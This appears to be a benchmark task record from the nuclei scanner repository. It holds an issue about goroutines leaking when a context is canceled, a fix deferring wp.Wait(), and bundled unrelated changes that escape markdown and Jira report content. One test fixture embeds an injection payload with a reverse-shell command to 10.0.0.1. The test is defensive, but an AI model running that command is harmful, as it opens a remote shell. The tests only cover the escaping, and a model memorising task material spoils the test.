Repository: projectdiscovery/nuclei

Issue:
[BUG] ExecuteCallbackWithCtx leaves dangling goroutines when context is canceled
### Is there an existing issue for this?

- [x] I have searched the existing issues.

### Current Behavior

The ExecuteCallbackWithCtx function in the sdk does not seem to clean up properly when the context is canceled and leaves running goroutines behind. These goroutines will cause a panic (nil pointer dereference) if the engine is closed right after, which should be safe to do as nothing should be running at that point.

I investigated a little bit to see if I could find the source of these dangling goroutines, still not sure if this is the cause but I saw that both host spray and template spray strategies are not deferring the workpool Wait call, so it does not get called when the context is canceled and the function returns:

For host sprays:

https://github.com/projectdiscovery/nuclei/blob/e4a0b8ec6054410887fcd8cfc569f7e388b2c8d0/pkg/core/executors.go#L159-L172

For template sprays:

https://github.com/projectdiscovery/nuclei/blob/e4a0b8ec6054410887fcd8cfc569f7e388b2c8d0/pkg/core/execute_options.go#L104-L116

Both of these functions call Wait at the end, but if the context is canceled, the functions will return early and not wait for workers to finish. Maybe the Wait() call should be deferred as below?

```go
wp := e.GetWorkPool()
defer wp.Wait()
```

I believe it could be either this or some inner goroutine leak that does not take the context into consideration.

I can dig deeper and try to come up with a fix if you think the issue is valid.

### Expected Behavior

ExecuteCallbackWithCtx should not return until all goroutines have finished. If the context is canceled, context cancellation should be propagated to all running goroutines and properly handled.

### Steps To Reproduce

The following code should help reproducing the issue:

```go
package main

import (
	"context"
	"fmt"
	"time"

	nuclei "github.com/projectdiscovery/nuclei/v3/lib"
	"github.com/projectdiscovery/nuclei/v3/pkg/output"
)

func main() {
	nucleiEngine, err := nuclei.NewNucleiEngineCtx(context.Background())
	if err != nil {
		panic("Could not initialize nuclei engine")
	}

	nucleiEngine.LoadTargets([]string{"https://example.com"}, false)

	ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
	defer cancel()

	err = nucleiEngine.ExecuteCallbackWithCtx(ctx, func(event *output.ResultEvent) {
		fmt.Printf(
			"[%s] %s -> %s\n",
			event.Info.SeverityHolder.Severity,
			event.Info.Name,
			event.Host,
		)
	})
	if err != nil {
		panic("Failed to run scan")
	}

	// At this point nothing should be running

	if ctx.Err() == nil {
		// Scan finished before context timeout, adjust timeout duration and retry
		return
	}

	// Engine should be safe to close, but dangling goroutines will generate a nil pointer dereference panic
	nucleiEngine.Close()
	time.Sleep(time.Minute) // Wait for panic, adjust duration if needed
}
```

### Relevant log output

```shell
[INF] Templates clustered: 1257 (Reduced 1203 Requests)
[INF] Using Interactsh Server: oast.me
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x7f26bc]

goroutine 11667 [running]:
github.com/projectdiscovery/fastdialer/fastdialer.(*Dialer).GetDialedIP(0x4002251d68?, {0x4002251d68?, 0x2d580e0?})
        /home/jak0/.local/share/go/pkg/mod/github.com/projectdiscovery/fastdialer@v0.2.14/fastdialer/dialer.go:317 +0x1c
github.com/projectdiscovery/nuclei/v3/pkg/protocols/http.(*Request).executeRequest(0x4005ad6400, 0x40064b0510, 0x4005e9e3c0, 0x40064b0660, 0x0, 0x40075d58c0?, 0x1)
        /home/jak0/.local/share/go/pkg/mod/github.com/projectdiscovery/nuclei/v3@v3.3.8/pkg/protocols/http/request.go:848 +0x2da8
github.com/projectdiscovery/nuclei/v3/pkg/protocols/http.(*Request).ExecuteWithResults.func1({0x400752cbd0, 0x25}, 0x40064b06f0, 0x40064b0330)
        /home/jak0/.local/share/go/pkg/mod/github.com/projectdiscovery/nuclei/v3@v3.3.8/pkg/protocols/http/request.go:518 +0x4bc
github.com/projectdiscovery/nuclei/v3/pkg/protocols/http.(*Request).ExecuteWithResults(0x4005ad6400, 0x40064b0510, 0x40064b0330, 0x40064b0660, 0x40064b0690)
        /home/jak0/.local/share/go/pkg/mod/github.com/projectdiscovery/nuclei/v3@v3.3.8/pkg/protocols/http/request.go:590 +0x2c0
github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/generic.(*Generic).ExecuteWithResults(0x40061ef410, 0x4006b67680)
        /home/jak0/.local/share/go/pkg/mod/github.com/projectdiscovery/nuclei/v3@v3.3.8/pkg/tmplexec/generic/exec.go:61 +0x280
github.com/projectdiscovery/nuclei/v3/pkg/tmplexec.(*TemplateExecuter).Execute(0x4005f7c540, 0x4006b67680)
        /home/jak0/.local/share/go/pkg/mod/github.com/projectdiscovery/nuclei/v3@v3.3.8/pkg/tmplexec/exec.go:212 +0x354
github.com/projectdiscovery/nuclei/v3/pkg/core.(*Engine).executeTemplateWithTargets.func2.1(0x4d2b9e0?, 0x40?, 0x4000ec0140)
        /home/jak0/.local/share/go/pkg/mod/github.com/projectdiscovery/nuclei/v3@v3.3.8/pkg/core/executors.go:139 +0x1b0
created by github.com/projectdiscovery/nuclei/v3/pkg/core.(*Engine).executeTemplateWithTargets.func2 in goroutine 11666
        /home/jak0/.local/share/go/pkg/mod/github.com/projectdiscovery/nuclei/v3@v3.3.8/pkg/core/executors.go:115 +0x484
exit status 2
```

### Environment

```markdown
- OS: Arch Linux
- Nuclei: v3.3.8
- Go: 1.22.8
```

### Anything else?

_No response_

Discussion:
@knakul853: @ehsandeep i beriefly went through this and have enough details on the issue, can i take this if someone not working on already?@ehsandeep: @knakul853 Sounds good! Feel free to take it up.

Solution patch:
diff --git a/lib/config.go b/lib/config.go
index c0a9a2df..46df00aa 100644
--- a/lib/config.go
+++ b/lib/config.go
@@ -511,3 +511,11 @@ func DisableUpdateCheck() NucleiSDKOptions {
 		return nil
 	}
 }
+
+// WithResumeFile allows setting a resume file
+func WithResumeFile(file string) NucleiSDKOptions {
+	return func(e *NucleiEngine) error {
+		e.opts.Resume = file
+		return nil
+	}
+}
diff --git a/pkg/core/execute_options.go b/pkg/core/execute_options.go
index 4d27b5f6..aa47bc44 100644
--- a/pkg/core/execute_options.go
+++ b/pkg/core/execute_options.go
@@ -107,6 +107,7 @@ func (e *Engine) executeTemplateSpray(ctx context.Context, templatesList []*temp
 	// wp is workpool that contains different waitgroups for
 	// headless and non-headless templates
 	wp := e.GetWorkPool()
+	defer wp.Wait()
 
 	for _, template := range templatesList {
 		select {
@@ -135,7 +136,6 @@ func (e *Engine) executeTemplateSpray(ctx context.Context, templatesList []*temp
 			e.executeTemplateWithTargets(ctx, tpl, target, results)
 		}(template)
 	}
-	wp.Wait()
 	return results
 }
 
@@ -143,6 +143,7 @@ func (e *Engine) executeTemplateSpray(ctx context.Context, templatesList []*temp
 func (e *Engine) executeHostSpray(ctx context.Context, templatesList []*templates.Template, target provider.InputProvider) *atomic.Bool {
 	results := &atomic.Bool{}
 	wp, _ := syncutil.New(syncutil.WithSize(e.options.BulkSize + e.options.HeadlessBulkSize))
+	defer wp.Wait()
 
 	target.Iterate(func(value *contextargs.MetaInput) bool {
 		select {
@@ -158,7 +159,6 @@ func (e *Engine) executeHostSpray(ctx context.Context, templatesList []*template
 		}(value)
 		return true
 	})
-	wp.Wait()
 	return results
 }
 
diff --git a/pkg/core/executors.go b/pkg/core/executors.go
index 1f9af56a..2e8c4d18 100644
--- a/pkg/core/executors.go
+++ b/pkg/core/executors.go
@@ -163,6 +163,7 @@ func (e *Engine) executeTemplatesOnTarget(ctx context.Context, alltemplates []*t
 	// headless and non-headless templates
 	// global waitgroup should not be used here
 	wp := e.GetWorkPool()
+	defer wp.Wait()
 
 	for _, tpl := range alltemplates {
 		select {
@@ -210,5 +211,4 @@ func (e *Engine) executeTemplatesOnTarget(ctx context.Context, alltemplates []*t
 			results.CompareAndSwap(false, match)
 		}(tpl, target, sg)
 	}
-	wp.Wait()
 }
diff --git a/pkg/reporting/exporters/markdown/util/markdown_formatter.go b/pkg/reporting/exporters/markdown/util/markdown_formatter.go
index 92b3b75b..7f84652b 100644
--- a/pkg/reporting/exporters/markdown/util/markdown_formatter.go
+++ b/pkg/reporting/exporters/markdown/util/markdown_formatter.go
@@ -2,6 +2,7 @@ package util
 
 import (
 	"fmt"
+	"strings"
 )
 
 type MarkdownFormatter struct{}
@@ -11,7 +12,8 @@ func (markdownFormatter MarkdownFormatter) MakeBold(text string) string {
 }
 
 func (markdownFormatter MarkdownFormatter) CreateCodeBlock(title string, content string, language string) string {
-	return fmt.Sprintf("\n%s\n```%s\n%s\n```\n", markdownFormatter.MakeBold(title), language, content)
+	escapedContent := escapeCodeBlockMarkdown(content)
+	return fmt.Sprintf("\n%s\n```%s\n%s\n```\n", markdownFormatter.MakeBold(title), language, escapedContent)
 }
 
 func (markdownFormatter MarkdownFormatter) CreateTable(headers []string, rows [][]string) (string, error) {
@@ -25,3 +27,20 @@ func (markdownFormatter MarkdownFormatter) CreateLink(title string, url string)
 func (markdownFormatter MarkdownFormatter) CreateHorizontalLine() string {
 	return CreateHorizontalLine()
 }
+
+// escapeCodeBlockMarkdown only escapes the bare minimum characters needed
+// for code blocks and other sections where readability is important
+//
+// For content inside code blocks, we only need to escape backticks
+// and backslashes to prevent breaking out
+func escapeCodeBlockMarkdown(text string) string {
+	minimalChars := []string{
+		"\\", "`",
+	}
+
+	result := text
+	for _, char := range minimalChars {
+		result = strings.ReplaceAll(result, char, "\\"+char)
+	}
+	return result
+}
diff --git a/pkg/reporting/reporting.go b/pkg/reporting/reporting.go
index 20fe85f1..97b8d692 100644
--- a/pkg/reporting/reporting.go
+++ b/pkg/reporting/reporting.go
@@ -2,11 +2,12 @@ package reporting
 
 import (
 	"fmt"
-	"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/mongo"
 	"os"
 	"strings"
 	"sync/atomic"
 
+	"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/mongo"
+
 	"github.com/projectdiscovery/gologger"
 	"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config"
 	json_exporter "github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter"
@@ -329,7 +330,7 @@ func (c *ReportingClient) CreateIssue(event *output.ResultEvent) error {
 // CloseIssue closes an issue in the tracker
 func (c *ReportingClient) CloseIssue(event *output.ResultEvent) error {
 	for _, tracker := range c.trackers {
-		if tracker.ShouldFilter(event) {
+		if !tracker.ShouldFilter(event) {
 			continue
 		}
 		if err := tracker.CloseIssue(event); err != nil {
diff --git a/pkg/reporting/trackers/jira/jira.go b/pkg/reporting/trackers/jira/jira.go
index 9969a791..e2eabca9 100644
--- a/pkg/reporting/trackers/jira/jira.go
+++ b/pkg/reporting/trackers/jira/jira.go
@@ -29,7 +29,8 @@ func (jiraFormatter *Formatter) MakeBold(text string) string {
 }
 
 func (jiraFormatter *Formatter) CreateCodeBlock(title string, content string, _ string) string {
-	return fmt.Sprintf("\n%s\n{code}\n%s\n{code}\n", jiraFormatter.MakeBold(title), content)
+	escapedContent := strings.ReplaceAll(content, "{code}", "")
+	return fmt.Sprintf("\n%s\n{code}\n%s\n{code}\n", jiraFormatter.MakeBold(title), escapedContent)
 }
 
 func (jiraFormatter *Formatter) CreateTable(headers []string, rows [][]string) (string, error) {
@@ -240,7 +241,7 @@ func getIssueResponseFromJira(issue *jira.Issue) (*filters.CreateIssueResponse,
 // CreateIssue creates an issue in the tracker or updates the existing one
 func (i *Integration) CreateIssue(event *output.ResultEvent) (*filters.CreateIssueResponse, error) {
 	if i.options.UpdateExisting {
-		issue, err := i.FindExistingIssue(event)
+		issue, err := i.FindExistingIssue(event, true)
 		if err != nil {
 			return nil, errors.Wrap(err, "could not find existing issue")
 		} else if issue.ID != "" {
@@ -265,7 +266,7 @@ func (i *Integration) CloseIssue(event *output.ResultEvent) error {
 		return nil
 	}
 
-	issue, err := i.FindExistingIssue(event)
+	issue, err := i.FindExistingIssue(event, false)
 	if err != nil {
 		return err
 	} else if issue.ID != "" {
@@ -300,13 +301,16 @@ func (i *Integration) CloseIssue(event *output.ResultEvent) error {
 }
 
 // FindExistingIssue checks if the issue already exists and returns its ID
-func (i *Integration) FindExistingIssue(event *output.ResultEvent) (jira.Issue, error) {
+func (i *Integration) FindExistingIssue(event *output.ResultEvent, useStatus bool) (jira.Issue, error) {
 	template := format.GetMatchedTemplateName(event)
 	project := i.options.ProjectName
 	if i.options.ProjectID != "" {
 		project = i.options.ProjectID
 	}
-	jql := fmt.Sprintf("summary ~ \"%s\" AND summary ~ \"%s\" AND status != \"%s\" AND project = \"%s\"", template, event.Host, i.options.StatusNot, project)
+	jql := fmt.Sprintf("summary ~ \"%s\" AND summary ~ \"%s\" AND project = \"%s\"", template, event.Host, project)
+	if useStatus {
+		jql = fmt.Sprintf("%s AND status != \"%s\"", jql, i.options.StatusNot)
+	}
 
 	searchOptions := &jira.SearchOptions{
 		MaxResults: 1, // if any issue exists, then we won't create a new one



Test patch:
diff --git a/pkg/reporting/exporters/markdown/util/markdown_utils_test.go b/pkg/reporting/exporters/markdown/util/markdown_utils_test.go
index a4ed6db3..2cf35485 100644
--- a/pkg/reporting/exporters/markdown/util/markdown_utils_test.go
+++ b/pkg/reporting/exporters/markdown/util/markdown_utils_test.go
@@ -89,3 +89,54 @@ func TestCreateTemplateInfoTable3Columns(t *testing.T) {
 	require.Nil(t, err)
 	require.Equal(t, expected, table)
 }
+
+func TestEscapeCodeBlockMarkdown(t *testing.T) {
+	testCases := []struct {
+		name     string
+		input    string
+		expected string
+	}{
+		{
+			name:     "no special characters",
+			input:    "normal text without special chars",
+			expected: "normal text without special chars",
+		},
+		{
+			name:     "with backticks",
+			input:    "text with `backticks` inside",
+			expected: "text with \\`backticks\\` inside",
+		},
+		{
+			name:     "with backslashes",
+			input:    "text with \\ backslash",
+			expected: "text with \\\\ backslash",
+		},
+		{
+			name:     "with both backticks and backslashes",
+			input:    "text with `backticks` and \\ backslash",
+			expected: "text with \\`backticks\\` and \\\\ backslash",
+		},
+		{
+			name:     "with code block",
+			input:    "```code block```",
+			expected: "\\`\\`\\`code block\\`\\`\\`",
+		},
+		{
+			name:     "with escaped backtick",
+			input:    "escaped \\` backtick",
+			expected: "escaped \\\\\\` backtick",
+		},
+		{
+			name:     "with multiple consecutive backticks",
+			input:    "``double backticks``",
+			expected: "\\`\\`double backticks\\`\\`",
+		},
+	}
+
+	for _, tc := range testCases {
+		t.Run(tc.name, func(t *testing.T) {
+			result := escapeCodeBlockMarkdown(tc.input)
+			require.Equal(t, tc.expected, result, "Failed to properly escape markdown for code blocks")
+		})
+	}
+}
diff --git a/pkg/reporting/format/format_utils_test.go b/pkg/reporting/format/format_utils_test.go
index f10179de..134f52c6 100644
--- a/pkg/reporting/format/format_utils_test.go
+++ b/pkg/reporting/format/format_utils_test.go
@@ -1,12 +1,14 @@
 package format
 
 import (
+	"fmt"
 	"strings"
 	"testing"
 
 	"github.com/projectdiscovery/nuclei/v3/pkg/model"
 	"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
 	"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"
+	"github.com/projectdiscovery/nuclei/v3/pkg/output"
 	"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown/util"
 	"github.com/stretchr/testify/require"
 )
@@ -46,3 +48,28 @@ func TestToMarkdownTableString(t *testing.T) {
 	require.Equal(t, strings.Split(expectedOrderedAttributes, "\n"), actualAttributeSlice[:dynamicAttributeIndex]) // the first part of the result is ordered
 	require.ElementsMatch(t, expectedDynamicAttributes, actualAttributeSlice[dynamicAttributeIndex:])              // dynamic parameters are not ordered
 }
+
+func TestCreateReportDescription_MarkdownInjection(t *testing.T) {
+	// Setup a mock result event with malicious payload in various fields
+	event := &output.ResultEvent{
+		TemplateID: "test-template",
+		Host:       "example.com",
+		Matched:    "https://example.com/vulnerable",
+		Type:       "http",
+		Info: model.Info{
+			Name:           "Test Template",
+			Authors:        stringslice.StringSlice{Value: []string{"researcher"}},
+			SeverityHolder: severity.Holder{Severity: severity.High},
+			Tags:           stringslice.StringSlice{Value: []string{"test"}},
+		},
+		Request:     "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n",
+		Response:    "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<html><body>Hello, world\r\n\r\n```\r\n\r\nReferences:\r\n- https://rce.ee/pwned\r\n\r\n**CURL command**\r\n```sh\r\nbash -i >& /dev/tcp/10.0.0.1/4242 0>&1\r\n```\r\n</body></html>",
+		CURLCommand: "curl -X GET https://example.com",
+	}
+
+	result := CreateReportDescription(event, &util.MarkdownFormatter{}, false)
+	fmt.Println(result)
+
+	require.NotContains(t, result, "```\r\n\r\nReferences:\r\n- https://rce.ee/pwned")
+	require.NotContains(t, result, "```sh\r\nbash -i >& /dev/tcp")
+}